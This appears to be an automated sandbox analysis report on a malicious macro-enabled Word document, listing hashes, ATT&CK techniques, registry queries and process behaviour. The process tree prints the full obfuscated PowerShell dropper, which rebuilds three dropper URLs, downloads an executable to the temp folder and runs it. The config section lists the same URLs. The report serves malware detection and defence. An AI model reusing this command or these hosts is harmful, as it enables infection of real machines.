7acbd269edee0a82d503537c4227ef7203fe4a188be7b7d3c1d90f2360f69b4e

General

Target

malware300.docm
Size

75KB
MD5

f1cd8322fa2f0a04c9b04d2f5adb6513
SHA1

25a72fd4bdfdefabd776900af126f17a6acdcc04
SHA256

bcb9649566030305c43a0e9267e4d9a4c208e94cee552cc5832945ba95930076
SHA512

562435c3e72dca717ade9d12e7538d8a55e63e64f96b2e0f524475bf20f5a079b37b558211c31d87c13b5425b790797ebf69cf34fcc52d24cd34f74c2a1766c1
SSDEEP

1536:sToxKs4T4G4O95lX/5hMXzxJVJF5Pef9m/Fmq5rqFFiIyyyDHQYEzO:EoTy4G4Sbk/VJF5V75OLzyyyEYEa

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gokeenakte.top/admin.php?f=1,http://videoanalystes.webcam/admin.php?f=1,http://photographypointer.men/admin.php?f=1

exe.dropper

http://gokeenakte.top/admin.php?f=1

exe.dropper

http://videoanalystes.webcam/admin.php?f=1

exe.dropper

http://photographypointer.men/admin.php?f=1

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	740	3056	powershell.exe	81

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
740	powershell.exe
740	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
740	powershell.exe
740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	740	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 740	3056	WINWORD.EXE	94
PID 3056 wrote to memory of 740	3056	WINWORD.EXE	94

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malware300.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $mYRg = new-object System.Net.WebClient;$eLcL = new-object random; $qcVYBGR = 'hnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrgnXFronXFrknXFrenXFrenXFrnnXFranXFrknXFrtnXFrenXFr.nXFrtnXFronXFrpnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrvnXFrinXFrdnXFrenXFronXFranXFrnnXFranXFrlnXFrynXFrsnXFrtnXFrenXFrsnXFr.nXFrwnXFrenXFrbnXFrcnXFranXFrmnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFranXFrpnXFrhnXFrynXFrpnXFronXFrinXFrnnXFrtnXFrenXFrrnXFr.nXFrmnXFrenXFrnnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1' -replace 'nXFr', '';$bgkEHeJDiO = $qcVYBGR.Split(',');$dRdkqYLYer = $eLcL.next(1, 65536);$nmLnTiCn = $env:temp + '\' + $dRdkqYLYer + '.exe';foreach($crvyHl in $bgkEHeJDiO){try{$mYRg.DownloadFile($crvyHl.ToString(), $nmLnTiCn);Start-Process $nmLnTiCn;break;}catch{write-host $_.Exception.Message;}}
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDC60F.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqfntp5j.rwt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/740-562-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/740-563-0x0000020E2FE70000-0x0000020E2FE92000-memory.dmp

Filesize
136KB

Download
memory/740-593-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-14-0x00007FFABE190000-0x00007FFABE1A0000-memory.dmp

Filesize
64KB

Download
memory/3056-46-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-5-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-12-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-13-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-4-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-10-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-9-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-7-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-15-0x00007FFABE190000-0x00007FFABE1A0000-memory.dmp

Filesize
64KB

Download
memory/3056-2-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-589-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-11-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-8-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-47-0x00007FFB00B0D000-0x00007FFB00B0E000-memory.dmp

Filesize
4KB

Download
memory/3056-3-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-542-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-557-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-1-0x00007FFB00B0D000-0x00007FFB00B0E000-memory.dmp

Filesize
4KB

Download
memory/3056-6-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-0-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-49-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-592-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-594-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download
memory/3056-591-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-590-0x00007FFAC0AF0000-0x00007FFAC0B00000-memory.dmp

Filesize
64KB

Download
memory/3056-48-0x00007FFB00A70000-0x00007FFB00C65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads